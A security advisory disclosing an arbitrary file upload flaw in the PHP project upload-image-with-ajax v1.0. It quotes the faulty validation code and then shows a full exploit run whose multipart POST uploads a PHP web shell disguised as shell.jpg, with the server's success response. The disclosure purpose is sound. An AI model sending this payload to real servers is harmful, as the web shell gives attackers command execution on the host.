Arbitrary file upload vulnerability in upload-image-with-ajax v1.0

["Larry W. Cashdollar" <larry0 () me com>]

Title: Arbitrary file upload vulnerability in upload-image-with-ajax
Author: Larry W. Cashdollar
Date: 2019-12-16
CVE-ID:[CVE-2019-8292]
Download Site: https://github.com/abcprintf/upload-image-with-ajax/
Vendor: adcprintf
Vendor Notified: 2019-12-16
Vendor Contact: wh.cprintf () gmail com
Advisory: http://www.vapidlabs.com/advisory.php?v=211
Description: upload-image-with-ajax
Vulnerability:
The code below changes the $ready flag to true if the file conforms to the size of < 1000000. Reversing the check that 
the file is an image. So, a .php file can be uploaded with only a warning allowing code execution.

$ready = false;
if((($imageType == "image/jpeg") || ($imageType == "image/jpg") || ($imageType == "image/png"))&&in_array($fileExt, 
$validext)){
$ready = true;
}else{
echo "was not an image
";
/You should abort the upload right here/
}
if($_FILES["fileUpload"]["size"] < 1000000){
$ready = true;
echo "file size is ".$_FILES['fileUpload']["size"]."
";
}else{
echo "file was TOO BIG!";
}

Exploit Code:
 $ ./fileupload_exploit 192.168.0.3 80 /upload-image-with-ajax/upload.php
POST request size is 469 bytes
 
Sending Payload:
POST //upload-image-with-ajax/upload.php HTTP/1.1
Host: 192.168.0.3
User-Agent: File Upload Exploiter/v1.2
Accept: */*
Content-Length: 237
Content-Type: multipart/form-data; boundary=------------------------c8e05c8871143853
 
--------------------------c8e05c8871143853
Content-Disposition: form-data; name="fileUpload"; filename="shell.jpg"
Content-Type: image/jpeg
 
<?php $cmd=$_GET['cmd']; system($cmd);?>
 
--------------------------c8e05c8871143853--
 
HTTP/1.1 200 OK
Date: Mon, 16 Dec 2019 04:39:56 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 37
Content-Type: text/html; charset=UTF-8
 
file size is 42<br>upload successful!
[+] Total bytes read: 185